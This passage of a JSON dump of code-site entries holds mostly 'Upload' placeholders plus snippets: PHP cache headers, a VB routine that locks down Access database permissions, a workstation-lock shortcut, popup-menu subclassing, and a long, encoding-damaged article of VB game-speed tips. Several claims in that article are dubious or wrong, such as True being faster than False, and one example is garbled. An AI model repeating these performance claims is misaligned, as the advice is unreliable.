- $start; echo \"Page expelled in \" . substr($run, 0, 5) . \" secs.\"; \n//Nothing after this"},{"WorldId":8,"id":672,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":676,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":679,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":681,"LineNumber":1,"line":"<?php\n\t// This script is one way to prevent/control caching of a\n\t// web page.\n\t//\n\t// Example of What Happens without an expires:\n\t// Your web page is saved to your local hard drive and if\n\t// you want to reload it, you must click the Refresh/Reload\n\t// button on the browser. If you just press Return while the\n\t// URL line has focus, the cache copy is only loaded.\n\t// This is probably fine for normal pages which do not change\n\t// but is a headache when developing pages and constantly pressing\n\t// the Reload/Refresh browser button.\n\t//\n\t// Using the Expires and setting the date and time to the current\n\t// instantenous time, will prevent caching and permit the reload\n\t// of the page from server just by pressing return while the URL\n\t// address line is in focus.\n\t//\n\t// Another purpose is when you have dynamic content or for PHP\n\t// when you are referencing a database table. Good pratice would\n\t// be to expire that page immediately so the next time the client\n\t// loads the page, any new data is retrieved without any extra\n\t// effort on the user.\n\t//\n\t// IMPORTANT:\n\t// The Expires: time stamp must be GMT. PHP has a function to\n\t// format the date in GMT.\n\t$nowGMT = gmdate(\"M d Y H:i:s\");\n\t// This is header information and needs to be in the\n\t// header portion of the client page.\n\t// If displaying other than graphics, the Content-type\n\t// needs updating to reflect the content being displayed.\n\t$header = \"Content-type: text/plain\\nExpires: $nowGMT\\n\\n\";\n\theader($header);\n\t// NOTE:\n\t// I've discovered, I needed to include the HTML <body> tags\n\t// when I use the PHP header() function, otherwise the\n\t// HTML tags are not interpreted properly and are displayed\n\t// as normal text.\n\techo \"<body>\\n\";\n\techo \"$nowGMT\";\n\techo \"</body>\\n\";\n?>"},{"WorldId":8,"id":688,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53137,"LineNumber":1,"line":"Public Function SecureAccessDB( _\n ByVal DatabaseFileName As String, _\n ByVal SystemMDWFileName As String, _\n ByVal UID As String, _\n ByVal PWD As String, _\n ByVal GroupName As String, _\n ByVal GroupPID As String, _\n ByVal UserID As String, _\n ByVal UserPWD As String, _\n ByVal UserPID As String) _\n As Boolean\n '********************************************************************\n 'Inputs:\n ' DatabaseFileName - DB to secure file name\n ' SystemMDWFileName - System.mdw file name\n ' UID - current owner name (usually 'admin')\n ' PWD - current owner password (usually empty string)\n ' GroupName - new group to create\n ' GroupPID - new group PID\n ' UserID - new user account to create\n ' UserPWD - new user password\n ' UserPID - new user PID\n '\n 'Returns:\n 'True - if no errors occurs\n 'False - otherwise\n '\n 'References:\n 'ADO and ADOX libraries ver. 2.8\n '*********************************************************************\n \n Dim catDatabase As ADOX.Catalog\n Dim tblTemp As ADOX.Table\n Dim cmdCreator As ADODB.Command\n Dim strTableName As String\n Dim strConnString As String\n 'if DB was formerly secured by us, then we can login to DB using our user account and is nothing to do\n strConnString = \"Provider=Microsoft.Jet.OLEDB.4.0;\" & _\n \"Data Source=\" & DatabaseFileName & \";\" & _\n \"User ID=\" & UserID & \";\" & _\n \"Password=\" & UserPWD & \";\" & _\n \"jet oledb:system database=\" & SystemMDWFileName\n Set catDatabase = New ADOX.Catalog\n Err.Clear\n On Error Resume Next\n catDatabase.ActiveConnection = strConnString\n If Err.Number = 0 Then 'can login\n Set catDatabase = Nothing\n SecureAccessDB = True\n Exit Function\n Else 'can't login\n Set catDatabase = Nothing\n SecureAccessDB = False\n End If\n 'secure DB\n On Error GoTo EH_SecureAccessDB\n 'login to DB using current owner account\n strConnString = \"Provider=Microsoft.Jet.OLEDB.4.0;\" & _\n \"Data Source=\" & DatabaseFileName & \";\" & _\n \"User ID=\" & UID & \";\" & _\n \"Password=\" & PWD & \";\" & _\n \"jet oledb:system database=\" & SystemMDWFileName\n 'create new group and user account\n Set cmdCreator = New ADODB.Command\n cmdCreator.ActiveConnection = strConnString\n cmdCreator.CommandText = \"CREATE GROUP \" & GroupName & \" \" & GroupPID & \";\"\n cmdCreator.Execute\n cmdCreator.CommandText = \"CREATE USER \" & UserID & \" \" & UserPWD & \" \" & UserPID & \";\"\n cmdCreator.Execute\n Set cmdCreator = Nothing\n Set catDatabase = New ADOX.Catalog\n catDatabase.ActiveConnection = strConnString\n With catDatabase\n .Users(UserID).Groups.Append \"Admins\"\n .Users(UserID).Groups.Append GroupName\n .Users(UserID).SetPermissions \"\", adPermObjDatabase, adAccessGrant, adRightMaximumAllowed\n .Users(UserID).SetPermissions Null, adPermObjTable, adAccessGrant, adRightMaximumAllowed\n .Groups(GroupName).SetPermissions \"\", adPermObjDatabase, adAccessGrant, adRightMaximumAllowed\n .Groups(GroupName).SetPermissions Null, adPermObjTable, adAccessGrant, adRightMaximumAllowed\n 'Grant/Revoke rights to user tables\n For Each tblTemp In .Tables\n If tblTemp.Type = \"TABLE\" Then 'keep Access and System tables unchanged\n strTableName = tblTemp.Name\n 'Change owner of each table\n .SetObjectOwner strTableName, adPermObjTable, UserID\n 'Grant all rights to MyUser and MyGroup\n .Users(UserID).SetPermissions strTableName, adPermObjTable, adAccessGrant, adRightMaximumAllowed\n .Groups(GroupName).SetPermissions strTableName, adPermObjTable, adAccessGrant, adRightMaximumAllowed\n 'Revoke all rights to admin account and Admins/Users groups\n .Users(\"admin\").SetPermissions strTableName, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n .Groups(\"Admins\").SetPermissions strTableName, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n .Groups(\"Users\").SetPermissions strTableName, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n End If\n Next 'tblTemp\n 'Revoke all database rights to admin account and Admins/Users groups\n .Groups(\"Users\").SetPermissions Null, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n .Groups(\"Users\").SetPermissions \"\", adPermObjDatabase, adAccessRevoke, adRightMaximumAllowed\n .Users(\"admin\").SetPermissions Null, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n .Users(\"admin\").SetPermissions \"\", adPermObjDatabase, adAccessRevoke, adRightMaximumAllowed\n .Groups(\"Admins\").SetPermissions Null, adPermObjTable, adAccessRevoke, adRightMaximumAllowed\n .Groups(\"Admins\").SetPermissions \"\", adPermObjDatabase, adAccessRevoke, adRightMaximumAllowed\n End With 'catDatabase\n Set catDatabase = Nothing\n Set tblTemp = Nothing\n SecureAccessDB = True\nExit Function\nEH_SecureAccessDB:\n Set cmdCreator = Nothing\n Set catDatabase = Nothing\n Set tblTemp = Nothing\n SecureAccessDB = False\nEnd Function\n"},{"WorldId":1,"id":53140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53151,"LineNumber":1,"line":"Create a shortcut on your desktop and set the properties to \nTarget:\n%windir%\\system32\\rundll32.exe user32,LockWorkStation\nStart in:\n%windir%\nSet the icon properties and thats it.\nCheck us out online www.idavista.com and www.nocashzone.com"},{"WorldId":1,"id":53153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57579,"LineNumber":1,"line":"Non-API \nTo do this simply add this code to the MouseDown part of the textbox \nIf Button = 2 Then \nYourTextboxName.Enabled = False \nYourTextboxName.Enabled = True \nYourTextboxName.SetFocus \nPopupMenu YourMenuName \nEnd If \nReplace all the Green text with what your control names are. \nHope this helped. \nAPI \nOption Explicit \n'Parts of this were orginally made by \n' Written by Matt Hart \n'Altered by SPY-3 \n'This was originally written for a webbrowser see \n'http://blackbeltvb.com/index.htm?free/webbmenu.htm \n\n\nPublic Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long \nPublic Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long) \nPublic Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long \nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long \nPublic Declare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \nPublic Const GWL_WNDPROC = (-4) \nPublic Const GW_HWNDNEXT = 2 \nPublic Const GW_CHILD = 5 \n \nPublic Const WM_MOUSEACTIVATE = &H21 \nPublic Const WM_CONTEXTMENU = &H7B \nPublic Const WM_RBUTTONDOWN = &H204 \nPublic origWndProc As Long \nPublic Function AppWndProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long \nSelect Case Msg \nCase WM_MOUSEACTIVATE \nDim C As Integer \nCall CopyMemory(C, ByVal VarPtr(lParam) + 2, 2) \nIf C = WM_RBUTTONDOWN Then \nYourForm.PopupMenu YourForm.YourMenu \nSendKeys \"{ESC}\" \nEnd If \nCase WM_CONTEXTMENU \nYourForm.PopupMenu YourForm.YourMenu \nSendKeys \"{ESC}\" \nEnd Select \nAppWndProc = CallWindowProc(origWndProc, hwnd, Msg, wParam, lParam) \nEnd Function Then under Form_Load() put this origWndProc = SetWindowLong(YourTextBox.hwnd, GWL_WNDPROC, AddressOf AppWndProc)\n \nhttp://Tiamat-Studios.vze.com"},{"WorldId":1,"id":57580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57594,"LineNumber":1,"line":"The website is at \nhttp://www.cafepress.com/cp/info/storeref.aspx?refby=opcodevoid\n\nOr http://www.cafepress.com If you don't want to give me rerferal points, I would just like to see Some tutorials in pscode on hardback books(For my sentimental reasons)\n"},{"WorldId":1,"id":57602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57743,"LineNumber":1,"line":"\nVersion .01a - update #1\n<o:p> </o:p>\nA few tips to speed up your games frame rate a bit, it's\namazing that some of this makes so much of a difference.<span\nstyle='mso-spacerun:yes'>┬á Just off the top of my head or taken from\nsources, maybe you agree maybe you donΓÇÖt, they all work for me, and I've run into\na lot of posts here on PSC that say "my frame rate is so low" etc so\nhere's my two cents (thatΓÇÖs right no spell check :) )\n<o:p> </o:p>\nThanks psc and everyone who has\never posted here, persistantrealities.com, vbspeed.com, tv3d, unreal <span\nclass=SpellE>sdk, ogre sdk, and everyone else\nin the world - Gandolf the Gui\nif you donΓÇÖt fit into this category\nand IΓÇÖve forgotten to mention you than tuff luck\n<o:p> </o:p>\nvote or donΓÇÖt itΓÇÖs just here to\nhelp people out\n<o:p> </o:p>\nthis is not actual source code so\ndonΓÇÖt say ΓÇ£it doesnΓÇÖt compileΓÇ¥\n_______________________________________________________________________\nDo Loops:\n<o:p> </o:p>\nThey are easy enough to understand and much easier and\nfaster than timers.\ni.e.\ndo while 'the escape key is not pressed' or 'the level is\nstill running'\n''\nloop\nvery simple\nand always in your loop you need to have a do events, one\nand only one do events\nIf you are making a single player game than you might want\nto think about capturing the user input and only executing your loop when input\nhas fired, this method is death (bad thing) on multiplayer games\n<o:p> </o:p>\nAt the beginning of each loop reset your TimeElapsed\nVariable, with that you have an exact count and are able to do things like\nphysics, motion of any kind, and many other things.<span\nstyle='mso-spacerun:yes'>┬á Truly much easier than a timer once you get\nthe hang of it.\n_______________________________________________________________________\nIn-line vs. modularized code\n<o:p> </o:p>\nCrazy enough, but (as per vbspeed.com, and\npersistantrealities.com) inline code is faster than modularized code\n<o:p> </o:p>\n_______________________________________________________________________\nVariables\n<o:p> </o:p>\nalways use option explicit and\ndeclare all variables and never use global \nalways declare your constants (but\nnever as 16-bit integers,varient,object or anything\nnon-32 bit)\n<o:p> </o:p>\nNever...never...never use┬á\n'as object' or 'as variant' or 'as any', amazingly slow\n<o:p> </o:p>\nMost of us have 32-bit processors a few might have the 64's\nlet alone the $$$ for one\nA longs and singles are 32 bits, integers are not, wee, use\nlongs and singles \n<o:p> </o:p>\ni.e.\ndim i as integer\nfor i = 0 to 1000\nnext i\n<o:p> </o:p>\nshould read:\ndim i as long\nfor i = 0 to 1000&\nnext i\n(no, the i after next .. "next i" doesn't change\nthe speed of anything)\n<o:p> </o:p>\n**and**\n<o:p> </o:p>\nVB has to treat all numbers as individual entities so\ndeclare your numbers!!!\n(yes, you read me right, declare\nyour numbers!)\n<o:p> </o:p>\n┬á┬á Type<span\nstyle='mso-spacerun:yes'>┬á┬á┬á┬á┬á Character\n┬á┬á Integer<span\nstyle='mso-spacerun:yes'>┬á┬á No character\n┬á┬á Long<span\nstyle='mso-spacerun:yes'>┬á┬á┬á┬á┬á &\n┬á┬á Single<span\nstyle='mso-spacerun:yes'>┬á┬á┬á !\n┬á┬á Double<span\nstyle='mso-spacerun:yes'>┬á┬á┬á #\n┬á┬á String<span\nstyle='mso-spacerun:yes'>┬á┬á┬á $\n//\nA=5\nB=5\nC=(A+B) * 2\n<o:p> </o:p>\nvs.\n<o:p> </o:p>\ndim A as long\ndim B as long\ndim C as long\n<o:p> </o:p>\nA=5&\nB=5&\nC=(A+B)*2&\n<o:p> </o:p>\n┬á With Variant (no Declare)\n: 3.5 secs\n┬á Without Variant\n(declared as Long) : 1.9 secs\n//\n<o:p> </o:p>\n<o:p> </o:p>\n_______________________________________________________________________\ndynamic array fallout:\nshould you use dynamic arrays, of course you should, should\nyou keep appending to the ubound<span\nstyle='mso-spacerun:yes'>┬á (ubound(<span\nclass=SpellE>myArray)) +1 for things such as projectiles and the like,\nthe answer is no, iterate through your array, if an object in your array is\npast the state of usefulness i.e. has hit something, reuse it, remember, the\nlarger an array the slower it is, if your character just spent 20 rounds and\nthey are all flying through the air and he/she keeps firing, than yes, append\nto the ubound, iterating is slow when compared to\nappending constantly, but when you finally do have to iterate the array and now\nyouΓÇÖve appended to it 100,000 times and poof your game just halts youΓÇÖll\nunderstand what IΓÇÖm talking about.\n_______________________________________________________________________\n<o:p> </o:p>\nRedundant coding: the last nail in the coffin\n<o:p> </o:p>\nPrivate declare function iLoveSocks( HowMany as long ) as\nlong\niLoveSocks = HowMany ^ 45&\nEnd function\n<o:p> </o:p>\nPrivate sub blah()\nDim A as long\nDim B as long\nDim C as long\n<o:p> </o:p>\na = iLoveSocks(1000)\nB = iLoveSocks(1000)\nC = iLoveSocks(1000)\nEnd sub\n<o:p> </o:p>\nis utterly and completely wrong and will figuratively make a\n60fps game run at 5\nIt should read\n<o:p> </o:p>\nPrivate sub blah()\nDim A as long\nDim B as long\nDim C as long\nDim TempVal as long\n<o:p> </o:p>\nTempVal = iLoveSocks(1000&)\n<o:p> </o:p>\nA = TempVal\nB = TempVal\nC = TempVal\n<o:p> </o:p>\nend sub\n<o:p> </o:p>\namazingly quicker\nuse temporary variables everywhere\nand anywhere that they can replace blocks of code\na practical example:\n<o:p> </o:p>\n┬á┬á Dim X As Single, Y\nAs Single, Z As Single\n┬á┬á X =\nCos(Deg2Rad(angle)) * 50\n┬á┬á Y =\nTan(Deg2Rad(angle)) * 50\n┬á┬á Z =\nSin(Deg2Rad(angle)) * 50\n<o:p> </o:p>\n┬á can be optimized\nlike this :\n<o:p> </o:p>\n┬á┬á Dim X As Single, Y\nAs Single, Z As Single, RadAngle\n┬á┬á RadAngle =\nDeg2Rad(angle)\n┬á┬á X = Cos(RadAngle) *\n50!\n┬á┬á Y = Tan(RadAngle) *\n50!\n┬á┬á Z = Sin(RadAngle) *\n50!\n<o:p> </o:p>\n┬á When it's possible,\nprecompute values for expansive operations and organize them in tables. This is\nusually used for the trigonometric operations Cos, Sin, Tan, <span\nclass=SpellE>Atn etc...\n┬á┬á \n┬á┬á Dim Angle <span\nclass=GramE>As Single\n┬á┬á Dim <span\nclass=SpellE>CosValue(720)\nAs Single\n┬á┬á Dim <span\nclass=SpellE>SinValue(720)\nAs Single\n┬á┬á For Angle = 0 To\n719 \n┬á┬á┬á┬á┬á┬á┬á <span\nclass=SpellE>CosValue(Angle)\n= Cos(Deg2Rad(Angle / 2))\n┬á┬á┬á┬á┬á┬á┬á <span\nclass=SpellE>SinValue(Angle)\n= Sin(Deg2Rad(Angle / 2))\n┬á┬á Next Angle\n<o:p> </o:p>\n┬á┬á This table is\naccurate at 0.5 degree. Then, to use it, you need to multiply the angle by 2.\n┬á┬á To have the\napproximation of the cosine of 45┬░, you need to use "<span\nclass=GramE>CosValue(45 * 2)" and\nvoila... you get 0.707.... \n<o:p> </o:p>\namazingly enough people will\nactually use 2 ^ 2 when hmm.... 2*2 and better yet, 2& * 2& is <span\nclass=SpellE>soo much faster\n<o:p> </o:p>\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nStrings:\n<o:p> </o:p>\nhmm... strings in VB are really\nslow, amazingly slow when compared to longs or singles\nbut.. if\nyou have to use them than just remember to use┬á\nMid$, Right$, Left$, Chr$\nthey are 3 times faster with the $\ncan you do realtime,\nevery frame, string manipulation and keep 60fps.... omg,\nno, no no\nwhat does that translate to.. <span\nclass=GramE>all of you who want to do online multiplayer games...\ndon't use strings for anything let\nalone packets, use bits for that, bit shifting and the like are amazingly\nfaster than strings\nbut........if you really have to use them......... use them\nclient side only and then use string tables in resources if you donΓÇÖt know how\nto use text graphics\n<o:p> </o:p>\nStrComp vs\n'String1=String2' .......persistantrealities.com\n<o:p> </o:p>\nPublic Sub TestOne<span\nclass=GramE>()\n┬á┬á┬á Dim strTest1 As\nString, strTest2 As String\n┬á┬á┬á \n┬á┬á┬á strTest1 = <span\nclass=SpellE>UCase$("all j00r b453 r b3l0nG 70 U5")\n┬á┬á┬á strTest2 = <span\nclass=SpellE>UCase$("ALL J00r base R Bel0NG 70 U5")\n┬á┬á┬á \n┬á┬á┬á '//Compare\n┬á┬á┬á If strTest1 =\nstrTest2 Then\n┬á┬á┬á End If\nEnd Sub\n<o:p> </o:p>\nPublic Sub TestTwo<span\nclass=GramE>()\n┬á┬á┬á Dim strTest1 As String,\nstrTest2 As String\n┬á┬á┬á \n┬á┬á┬á strTest1 =\n"all j00r b453 r b3l0nG 70 U5"\n┬á┬á┬á strTest2 =\n"ALL J00r base R Bel0NG 70 U5"\n┬á┬á┬á \n┬á┬á┬á '//Compare\n┬á┬á┬á If <span\nclass=SpellE>StrComp(strTest1$,\nstrTest2$, vbTextCompare) = 0 Then\n┬á┬á┬á End If\nEnd Sub\n<o:p> </o:p>\n100% faster compares weee\n<o:p> </o:p>\nvariable length strings <span\nclass=SpellE>vs fixed length strings\n<o:p> </o:p>\nPrivate VariableLengthString <span\nclass=GramE>As String\nPrivate FixedLengthString <span\nclass=GramE>As String * 65526\n<o:p> </o:p>\n┬á┬á┬á┬á┬á┬á┬á For I = 1 <span\nclass=GramE>To lngIterations '//Run test\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á '//Set an\nelement in the┬á string\nto the desired value\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Mid$(<span\nclass=SpellE>FixedLengthString, I) = "X"\n┬á┬á┬á┬á┬á┬á┬á Next I\n<o:p> </o:p>\n┬á┬á┬á┬á┬á┬á For I = 1 <span\nclass=GramE>To lngIterations '//Run test\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á '//<span\nclass=GramE>Concatenate a character to the variable length string\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nclass=SpellE>VariableLengthString = VariableLengthString\n& "X"\n┬á┬á┬á┬á┬á┬á┬á Next I\n<o:p> </o:p>\n1000 times faster\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nCompiler options.\n<o:p> </o:p>\n<o:p> </o:p>\nThe VB compiler has some optimizations that are somewhat\nhidden to the user. Indeed they are given in the "Compilation" tab of\nthe Project settings, click \nthen on the "Advanced\noptimizations" button.\nThere you see some unchecked boxes representing the\ndifferent optimizations that are NOT applied by default. Normally you might be\nable to check them \nall, without any problems in your\napplication. And it can really improve the speed of your application especially\nfor float computations.\n<o:p> </o:p>\n┬á Small <span\nclass=GramE>example :\n┬á Dim <span\nclass=SpellE>i As Long\n┬á Dim A <span\nclass=GramE>As Single\n┬á For <span\nclass=SpellE>i = 1& To 10000000&\n┬á┬á┬á┬á A = <span\nclass=SpellE>Cos(<span\nclass=SpellE>i)\n┬á Next <span\nclass=SpellE>i\n<o:p> </o:p>\n┬á In VB <span\nclass=GramE>IDE : 2.5 secs\n┬á in\na EXE form but without enabled optimization : 2.0 secs\n┬á in\na EXE with all enabled optimization : 0.02 secs !!!!\n<o:p> </o:p>\nI think that this result is amazing enough to make you try\nit yourself.\nohh and\nalways remove all of your "debug.print"s\nweird but it makes a difference in the compiled version let alone the <span\nclass=SpellE>uncompiled\n<o:p> </o:p>\n_______________________________________________________________________\nTrue or not True\nAccording to the findings on persistantrealities.com and\nother sites True is faster than false, basically\ninstead of coding:\n<o:p> </o:p>\nDim isTheSkyRed as Boolean\n<o:p> </o:p>\nIf isTheSkyRed = false then\nΓÇÿ ΓÇÿ ΓÇÿ ΓÇÿ \nEnd If\n<o:p> </o:p>\nYou would write\n<o:p> </o:p>\nIf isTheSkyRed = Not True then\nΓÇÿ ΓÇÿ ΓÇÿ ΓÇÿ \nEnd If\n<o:p> </o:p>\nOr\n<o:p> </o:p>\nIf Not isTheSkyRed then\nΓÇÿ ΓÇÿ ΓÇÿ ΓÇÿ \nEnd If\n<o:p> </o:p>\nBoth examples are faster than saying False, I went ΓÇ£<span\nclass=SpellE>hugh?!?ΓÇ¥ the first time I saw that\none too.\n_______________________________________________________________________\n<o:p> </o:p>\nDirectX vs BitBlt,\nsetpixel etc\n<o:p> </o:p>\nfor those of you who <span\nclass=SpellE>dont know it as of yet, Direct X is just plainly much\nquicker than BitBlt and the like, .... <span\nclass=GramE>if used right :)\nif you are going to do any kind of\npicture manipulation (2D,Renders,etc) in Direct X always make sure that your\nusing one or more backbuffers\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nVisual Culling\n<o:p> </o:p>\nif your going to be doing any\nrendering to the screen(which is just about anyone who is reading this, by this\npoint) than you need to understand\nthat certain things need to take\nprecedence over others in your game\nwhat is more important to render?:\n1. the box completely out of the\nusers view\n2. the front of the users 3rd\nperson mesh\n3. the actual visual aspect of the\nusers 3rd person mesh\n<o:p> </o:p>\nwell of course the actual visual\naspect of the users 3rd person mesh\n<o:p> </o:p>\nmake sure that your not rendering\nanything that the user can not see, such an easy concept but rarely used by\nbeginners\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nPackets (multi-player)\n<o:p> </o:p>\nas IΓÇÖve stated earlier use bits for\npackets, thatΓÇÖs first of all\nsecondly, keep it simple:\n<o:p> </o:p>\ndoes everyone need to know that\nthis particular user has a axe that looks a certain way, of course not, they\njust need to know that when they get\nhit with it, it takes off X\ndamage.┬á The same goes for two players\nhalf a world away from each other, they absolutely donΓÇÖt need to know when the\nother one opens a door or jumps or almost anything for that matter, except\nglobal game changes, whatΓÇÖs changing in the field of view of the users\ncharacter/camera is all that matters.\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nin-game-loop chat\n<o:p> </o:p>\nremember what i\nsaid about real-time string manipulation..... donΓÇÖt <span\nclass=SpellE>donΓÇÖt donΓÇÖt\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\n/ vs. \\ weird stuff\napparently / is much <span\nclass=SpellE>much faster than \\\n*** update ***\nAlso, the\n"\\" and "/" are completely different operations. One is\nregular division, resulting in a decimal, and the other returns an integer. <span\nclass=GramE>for example: X \\ Y = Int(X / Y)<o:p></o:p>\n***update***\n-much thanks to <a\nhref=\"http://www.planet-source-code.com/vb/feedback/EmailUser.asp?lngWId=1&lngToPersonId=2274451481&txtReferralPage=http%3A%2F%2Fwww%2Eplanet%2Dsource%2Dcode%2Ecom%2Fvb%2Fscripts%2Fshowcode%2Easp%3FtxtCodeId%3D57743%26lngWId%3D1\"><span\nclass=SpellE><!xmp>Gandolf_The_GUI</a>\nand\nx / 1 is much faster than <span\nclass=SpellE>Cint(number)\n40% faster\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nDivision vs. Multiplication:\n(persistantrealities.com)\nPublic Sub TestOne<span\nclass=GramE>()\n┬á┬á┬á Dim <span\nclass=SpellE>lngReturn As Long\n┬á┬á┬á Dim Action <span\nclass=GramE>As Long\n┬á┬á┬á Action = 0.25 \n┬á┬á┬á <span\nclass=SpellE>lngReturn = 10 * Action\nEnd Sub\n<o:p> </o:p>\nPublic Sub TestTwo<span\nclass=GramE>()\n┬á┬á┬á Dim <span\nclass=SpellE>lngReturn As Long\n┬á┬á┬á Dim Action <span\nclass=GramE>As Long\n┬á┬á┬á Action = 4\n┬á┬á┬á <span\nclass=SpellE>lngReturn = 10<span\nstyle='mso-spacerun:yes'>┬á Action\nEnd Sub\n<o:p> </o:p>\nohh a\nmere 400% faster with multiplication\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nIIF vs. If then\nIIF is something like 70% slower\nalways end your if statements with\nend if\ni.e. none of this: if x = Z then x\n= Y\nalways expand it\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nprocess and thread priority\n<o:p> </o:p>\ndoes it really matter if your full\nscreen and at normal priority, crazy but true, yes\ngrab a little process priority code\nand bump it up when your loop is 